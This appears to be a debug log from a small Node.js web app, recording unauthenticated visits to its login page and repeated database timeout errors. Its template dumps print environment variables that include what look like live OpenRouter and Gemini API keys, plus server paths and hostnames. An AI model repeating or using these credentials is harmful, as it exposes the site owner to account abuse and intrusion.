    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '195.178.110.64',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-02T11:50:17.694Z server-connect:router Serving templateView /
2026-04-02T11:50:17.695Z server-connect:app Executing action step identify
2026-04-02T11:50:17.695Z server-connect:app options: { provider: 'security' }
2026-04-02T11:50:17.695Z server-connect:auth No login cookie found
2026-04-02T11:50:17.695Z server-connect:output identity: false
2026-04-02T11:50:17.696Z server-connect:app Executing action step restrict
2026-04-02T11:50:17.696Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T11:50:17.696Z server-connect:output restrict: undefined
2026-04-02T11:50:17.921Z server-connect:router Serving templateView /login
2026-04-02T11:50:17.922Z server-connect:app Executing action step identify
2026-04-02T11:50:17.922Z server-connect:app options: { provider: 'security' }
2026-04-02T11:50:17.922Z server-connect:auth No login cookie found
2026-04-02T11:50:17.922Z server-connect:output identity: false
2026-04-02T11:50:17.922Z server-connect:router Render template layouts/authentication
2026-04-02T11:50:17.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'python-requests/2.32.5',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '158.140.191.86',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T11:50:17.921Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '158.140.191.86',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'python-requests/2.32.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '158.140.191.86',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-02T14:14:13.259Z server-connect:router Serving templateView /
2026-04-02T14:14:13.261Z server-connect:app Executing action step identify
2026-04-02T14:14:13.261Z server-connect:app options: { provider: 'security' }
2026-04-02T14:14:13.261Z server-connect:auth No login cookie found
2026-04-02T14:14:13.261Z server-connect:output identity: false
2026-04-02T14:14:13.261Z server-connect:app Executing action step restrict
2026-04-02T14:14:13.262Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T14:14:13.262Z server-connect:output restrict: undefined
2026-04-02T14:14:14.960Z server-connect:router Serving templateView /
2026-04-02T14:14:14.960Z server-connect:app Executing action step identify
2026-04-02T14:14:14.960Z server-connect:app options: { provider: 'security' }
2026-04-02T14:14:14.960Z server-connect:auth No login cookie found
2026-04-02T14:14:14.960Z server-connect:output identity: false
2026-04-02T14:14:14.961Z server-connect:app Executing action step restrict
2026-04-02T14:14:14.961Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T14:14:14.961Z server-connect:output restrict: undefined
2026-04-02T14:14:15.087Z server-connect:router Serving templateView /login
2026-04-02T14:14:15.087Z server-connect:app Executing action step identify
2026-04-02T14:14:15.088Z server-connect:app options: { provider: 'security' }
2026-04-02T14:14:15.088Z server-connect:auth No login cookie found
2026-04-02T14:14:15.088Z server-connect:output identity: false
2026-04-02T14:14:15.088Z server-connect:router Render template layouts/authentication
2026-04-02T14:14:15.088Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.5',
    priority: 'u=0, i',
    'x-forwarded-for': '142.248.80.198',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T14:14:15.087Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.248.80.198',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '142.248.80.198',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-02T14:14:15.217Z server-connect:router Serving templateView /
2026-04-02T14:14:15.217Z server-connect:app Executing action step identify
2026-04-02T14:14:15.217Z server-connect:app options: { provider: 'security' }
2026-04-02T14:14:15.217Z server-connect:auth No login cookie found
2026-04-02T14:14:15.217Z server-connect:output identity: false
2026-04-02T14:14:15.217Z server-connect:app Executing action step restrict
2026-04-02T14:14:15.217Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T14:14:15.218Z server-connect:output restrict: undefined
2026-04-02T14:14:15.344Z server-connect:router Serving templateView /login
2026-04-02T14:14:15.345Z server-connect:app Executing action step identify
2026-04-02T14:14:15.345Z server-connect:app options: { provider: 'security' }
2026-04-02T14:14:15.345Z server-connect:auth No login cookie found
2026-04-02T14:14:15.345Z server-connect:output identity: false
2026-04-02T14:14:15.345Z server-connect:router Render template layouts/authentication
2026-04-02T14:14:15.345Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.5',
    priority: 'u=0, i',
    'x-forwarded-for': '142.248.80.198',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T14:14:15.344Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.248.80.198',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '142.248.80.198',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-02T14:30:09.808Z server-connect:router Serving templateView /
2026-04-02T14:30:09.809Z server-connect:app Executing action step identify
2026-04-02T14:30:09.809Z server-connect:app options: { provider: 'security' }
2026-04-02T14:30:09.809Z server-connect:auth No login cookie found
2026-04-02T14:30:09.809Z server-connect:output identity: false
2026-04-02T14:30:09.809Z server-connect:app Executing action step restrict
2026-04-02T14:30:09.809Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T14:30:09.809Z server-connect:output restrict: undefined
2026-04-02T14:30:10.051Z server-connect:router Serving templateView /login
2026-04-02T14:30:10.051Z server-connect:app Executing action step identify
2026-04-02T14:30:10.051Z server-connect:app options: { provider: 'security' }
2026-04-02T14:30:10.052Z server-connect:auth No login cookie found
2026-04-02T14:30:10.052Z server-connect:output identity: false
2026-04-02T14:30:10.052Z server-connect:router Render template layouts/authentication
2026-04-02T14:30:10.052Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '107.172.180.205',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T14:30:10.051Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.172.180.205',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '107.172.180.205',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 15:06:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 15:06:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 19:08:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 19:08:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 19:51:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 19:51:00' as DATETIME)"
}
2026-04-02T23:37:48.182Z server-connect:router Serving templateView /login
2026-04-02T23:37:48.183Z server-connect:app Executing action step identify
2026-04-02T23:37:48.183Z server-connect:app options: { provider: 'security' }
2026-04-02T23:37:48.183Z server-connect:auth No login cookie found
2026-04-02T23:37:48.184Z server-connect:output identity: false
2026-04-02T23:37:48.184Z server-connect:router Render template layouts/authentication
2026-04-02T23:37:48.184Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'accept-encoding': 'gzip',
    'accept-language': 'en',
    'x-forwarded-for': '203.175.125.116',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T23:37:48.182Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '203.175.125.116',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'en',
    'HTTP_X_FORWARDED-FOR': '203.175.125.116',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-03 07:22:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
